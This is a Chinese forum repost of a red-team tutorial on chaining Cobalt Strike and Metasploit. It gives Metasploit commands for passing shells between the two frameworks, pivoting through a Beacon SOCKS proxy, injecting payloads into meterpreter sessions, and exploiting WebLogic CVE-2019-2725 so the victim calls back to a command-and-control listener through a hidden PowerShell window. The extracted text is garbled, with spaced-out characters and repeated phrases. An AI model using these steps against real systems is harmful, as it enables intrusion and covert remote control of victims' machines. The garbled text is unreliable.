搜索

[27194] 2021-03-15_CobaltStrike和Metasploit联动

文档创建者：s7ckTeam
浏览次数：35
最后更新：2025-01-19
2021-03-15_CobaltStrike和Metasploit联动 C o b a l t S t r i k e   和   M e t a s p l o i t   联 动 原 创   徐 哥   M s 0 8 0 6 7 安 全 实 验 室   2 0 2 1 - 0 3 - 1 5 收 录 于 话 题   # 内 网 安 全 小 组   , 2 8 个 文 章 来 源 ｜ 文 章 来 源 ｜ M S 0 8 0 6 7   内 网 安 全 知 识 内 网 安 全 知 识 星 球 星 球 本 文 作 者 ： 掉 到 鱼 缸 里 的 猫 掉 到 鱼 缸 里 的 猫 （ M s 0 8 0 6 7 内 网 安 全 小 组 成 员 ） 内 网 纵 横 四 海 内 网 纵 横 四 海     认 准 认 准 M s 0 8 0 6 7 个 人 觉 得 C o b a l t S t r i k e 图 形 化 的 界 面 和 丰 富 的 功 能 ， 是 一 个 超 强 的 后 渗 透 框 架 ， 尤 其 是 方 便 管 理 横 向 移 动 过 程 中 搜 集 到 的 各 种 数 据 和 s h e l l ， 但 是 对 于 漏 洞 利 用 、 初 始 突 破 就 显 得 十 分 乏 力 ； 另 一 边 M e t a s p l o i t 作 为 漏 洞 利 用 框 架 ， E X P 及 其 顺 滑 ， 各 种 各 样 的 模 块 ， 包 含 扫 描 、 突 破 、 拓 展 一 条 龙 服 务 ， 但 是 对 于 多 个 s h e l l 的 管 理 就 显 得 有 些 乏 力 了 （ 毕 竟 没 有 图 形 化 界 面 ， 命 令 太 多 记 不 住 ） 。 于 是 ， 如 何 将 两 个 框 架 有 效 的 联 动 起 来 ， 就 成 为 了 今 天 想 要 学 习 的 知 识 。 一 一 . 利 用 利 用 C S 为 为 M S F 服 务 服 务 利 用 利 用 C S 的 的 B e a c o n 给 给 M S F 派 生 一 个 派 生 一 个 s h e l l ， 执 行 后 续 的 渗 透 任 务 ： ， 执 行 后 续 的 渗 透 任 务 ： 在 M S F 中 配 置 监 听 在 C S 中 建 立 一 个 外 部 监 听 器   F o r e i g n   H T T P   （ 或   F o r e i g n   H T T P S   ） #   配 置 监 听 器 m s f >   u s e   e x p l o i t / m u l t i / h a n d l e r #   选 择 p a y l o a d m s f >   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ h t t p m s f >   s e t   l h o s t   I P m s f >   s e t   l p o r t   p o r t #   启 动 监 听 器 m s f >   s e t   E x i t O n S e s s i o n   F a l s e m s f >   r u n   - j z
  选 择 想 要 派 生 的 目 标 ， 右 键 选 择   s p a w n   功 能 ， 选 择 刚 刚 建 立 的 监 听 器 ， 即 可 在 M S F 中 接 收 到 回 连 。 利 用 利 用 C S 为 为 M S F 提 供 转 发 或 代 理 功 能 ， 提 供 转 发 或 代 理 功 能 ， 进 行 后 续 的 探 测 和 漏 洞 利 用 ： 进 行 后 续 的 探 测 和 漏 洞 利 用 ： 利 用 B e a c o n 建 立   s o c k s   代 理 ： 在 B e a c o n 中 输 入   s o c k s   监 听 端 口 ， 或 者 右 键 想 要 作 为 转 发 的 目 标 ， 在 p i v o t i n g 中 选 择   S O C K S   S e r v e r   ， 配 置 监 听 端 口 后 点 击   l a u n c h   激 活 。   在 v i e w   - >   P r o x y   P i v o t s   中 可 以 看 到 建 立 的 转 发 器 ， 点 击 T u n n e l 即 可 获 得 M S F 的 转 发 命 令
复 制 到 M S F 中 ， 设 置 代 理 和 载 荷 类 型 以 C V E - 2 0 1 9 - 2 7 2 5 为 测 试 靶 机 # 设 置 代 理   m s f >   s e t g   P r o x i e s   s o c k s 4 : 1 2 7 . 0 . 0 . 1 : 3 6 7 2 5 # 配 置 p a y l o a d ， 因 为 是 隔 离 网 段 的 主 机 ， 无 法 直 接 反 连 回 M S F ， 所 以 需 要 换 成 被 动 连 接 的 b i n d 类 型 载 荷 m s f >   s e t   p a y l o a d   w i n d o w s / m e t e r p r e t e r / b i n d _ t c p m s f >   r u n
二 二 . M S F 为 为 C S 服 务 服 务 主 要 就 是 使 用 M S F 框 架 的 E X P 获 取 C S 的 B e a c o n 获 取 了 一 个 命 令 执 行 获 取 了 一 个 命 令 执 行 S h e l l ： ： 这 是 最 简 单 的 情 况 ， 也 是 最 常 见 的 情 况 ， 并 不 是 所 有 的 E X P 都 能 反 弹 一 个 M e t e r p r e t e r 会 话 回 来 。 在 C S 中 利 用 A t t a c k s   - >   W e b   D r i v e - b y   - >   S c r i p t e d   W e b   D e l i v e r y   来 部 署 一 个 P a y l o a d 分 发 站 点 ： 配 置 监 听 器 和 U R L 路 径 ， 启 动 后 会 弹 出 相 应 的 命 令 提 示 复 制 命 令 后 ， 直 接 在 M S F   的 s h e l l 中 执 行 即 可
命 令 执 行 后 M S F 的 会 话 会 卡 住 ， 可 以 直 接 k i l l 掉 ， 不 影 响 C S 会 话 获 取 了 一 个 获 取 了 一 个 M e t e r p r e t e r 会 话 ： 会 话 ： 获 得 m e t e r p r e t e r 会 话 后 ， 利 用 M S F 注 入 功 能 ， 加 载 C s 的 p a y l o a d 在 过 程 中 发 现 ， 这 种 方 法 只 能 向 注 入 3 2 位 的 p a y l o a d ， 如 果 注 入 6 4 位 p a y l o a d 会 导 致 目 标 进 程 崩 溃 ， 无 法 向 6 4 位 程 序 中 注 入 3 2 位 p a y l o a d 。 崩 溃 原 因 是 ： A P P C R A S H （ 故 障 模 块 S t a c k H a s h _ a f 7 6 ） ， 即 使 取 得 s y s t e m 权 限 、 关 闭 U A C 也 还 是 不 行 。 如 果 不 设 置 p i d ， 则 会 创 建 一 个 3 2 位 的 n o t e p a d . e x e 进 程 ， 成 功 连 接 后 记 得 及 时 迁 移 C S 的 会 话 进 程 。 #   将 m e t e r p r e t e r 会 话 挂 起 m e t e r p r e t e r >   b a c k g r o u n d #   进 入 p a y l o a d _ i n j e c t 模 块 m s f >   u s e   e x p l o i t / w i n d o w s / l o c a l / p a y l o a d _ i n j e c t #   根 据 C S 监 听 器 类 型 选 择 对 应 的 p a y l o a d （ h t t p 或 者 h t t p s ） m s f >   s e t   p a y l o a d   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ h t t p #   设 置 回 连 地 址 （ C S 监 听 器 地 址 ） m s f >   s e t   L H O S T   C S _ I P m s f >   s e t   L P O R T   C S _ P O R T #   指 定 要 执 行 的 m e t e r p r e t e r 会 话 m s f >   s e t   s e s s i o n   m e t e r p r e t e r 会 话 I D #   设 置 M S F 不 启 动 监 听 ( 不 然 的 话 m s f 会 提 示 执 行 成 功 ， 但 没 有 会 话 建 立 ， 同 时 C S 也 不 会 接 收 到 会 话 ) m s f >   s e t   d i s a b l e p a y l o a d h a n d l e r   t r u e   m s f >   r u n
直 接 反 弹 回 直 接 反 弹 回 C S ： ： 在 M S F 漏 洞 利 用 时 直 接 请 求 并 加 载 C S 的 载 荷 ， 和 第 二 种 方 法 基 本 一 致 （ 测 试 漏 洞 为   C V E - 2 0 1 9 - 2 7 2 5 ）   #   根 据 C S 监 听 器 类 型 选 择 对 应 的 p a y l o a d m s f 6   e x p l o i t ( m u l t i / m i s c / w e b l o g i c _ d e s e r i a l i z e _ a s y n c r e s p o n s e s e r v i c e )   >   s e t   p a y l o a d   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ h t t p   #   设 置 回 连 地 址 （ C S 监 听 器 地 址 ）   m s f 6   e x p l o i t ( m u l t i / m i s c / w e b l o g i c _ d e s e r i a l i z e _ a s y n c r e s p o n s e s e r v i c e )   >   s e t   L H O S T   C S _ I P m s f 6   e x p l o i t ( m u l t i / m i s c / w e b l o g i c _ d e s e r i a l i z e _ a s y n c r e s p o n s e s e r v i c e )   >   s e t   L P O R T   C S _ P O R T #   指 定 要 执 行 的 m e t e r p r e t e r 会 话 m s f 6   e x p l o i t ( m u l t i / m i s c / w e b l o g i c _ d e s e r i a l i z e _ a s y n c r e s p o n s e s e r v i c e )   >   s e t   s e s s i o n   m e t e r p r e t e r 会 话 I D #   设 置 M S F 不 启 动 监 听 ( 不 然 的 话 m s f 会 提 示 执 行 成 功 ， 但 没 有 会 话 建 立 ， 同 时 C S 也 不 会 接 收 到 会 话 ) m s f 6   e x p l o i t ( m u l t i / m i s c / w e b l o g i c _ d e s e r i a l i z e _ a s y n c r e s p o n s e s e r v i c e )   >   s e t   d i s a b l e p a y l o a d h a n d l e r   t r u e
其 实 和 第 二 种 操 作 是 一 样 ， 都 是 调 用 M S F 的 模 块 ， 配 置 p a y l o a d 的 参 数 而 已 。 漏 洞 利 用 成 功 后 直 接 通 过 无 窗 口   p o w e r s h e l l   返 回 C S 会 话 ， 目 标 主 机 没 有 窗 口 弹 出 。 测 试 的 时 候 无 法 加 载 6 4 位 p a y l o a d ， 可 能 是 这 个 漏 洞 利 用 后 会 启 动 一 个 3 2 位 的 c m d . e x e 来 执 行 后 续 命 令 的 原 因 。 三 三 . 写 在 后 面 写 在 后 面             一 开 始 打 算 是 做 一 篇 学 习 笔 记 ， 毕 竟 好 记 性 不 如 烂 笔 头 ， 看 过 的 东 西 长 时 间 不 使 用 的 话 可 能 就 忘 记 了 ， 留 下 一 个 备 忘 录 日 后 查 询 起 来 也 方 便 。 但 是 ， 做 到 后 来 就 是 一 个 爬 坑 的 过 程 了 ， 觉 得 自 己 好 聪 明 ， “ 这 两 个 载 荷 名 字 好 像 ， 也 没 有 文 章 提 到 ， 会 不 会 也 可 联 动 呀 ？ ” ， 因 为 网 上 介 绍 的 方 法 （ 中 文 文 章 ） 基 本 上 都 是 和 C S 官 方 2 0 1 6 年 发 布 的 指 南 的 是 一 样 的 ， 但 是 我 看 目 前 C S 中 L i s t e n e r 的 种 类 不 止   h t t p 和 h t t p s   ， 还 有 M S F 中 也 有 诸 如   这 类 看 起 来 很 像 的 p a y l o a d 模 块 ， 一 番 测 试 下 来 ， 也 就 只 有 h t t p 和 h t t p s 载 荷 可 以 接 收 到 另 一 方 回 连 的 会 话 。 果 然 还 是 是 自 己 太 年 轻 了 ， 没 有 人 提 ， 确 实 就 是 因 为 它 不 是 这 样 用 的 ， 毕 竟 两 个 框 架 一 开 始 就 是 独 立 的 ， 这 样 成 熟 的 框 架 之 间 能 有 联 通 的 方 法 已 经 给 面 子 了 ， 一 开 始 就 不 应 该 奢 求 太 多 的 。 扫 描 下 方 二 维 码 加 入 星 球 学 习 扫 描 下 方 二 维 码 加 入 星 球 学 习 加 入 后 邀 请 进 入 内 部 微 信 群 ， 内 部 微 信 群 永 久 有 效 ！ 加 入 后 邀 请 进 入 内 部 微 信 群 ， 内 部 微 信 群 永 久 有 效 ！   d n s   s m b   t c p w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p _ d n s w i n d o w s / m e t e r p r e t e r / b i n d _ n a m e d _ p i p e   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p  
  目 前 目 前 4 0 0 0 0 + 人 已 关 注 加 入 我 们 人 已 关 注 加 入 我 们
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理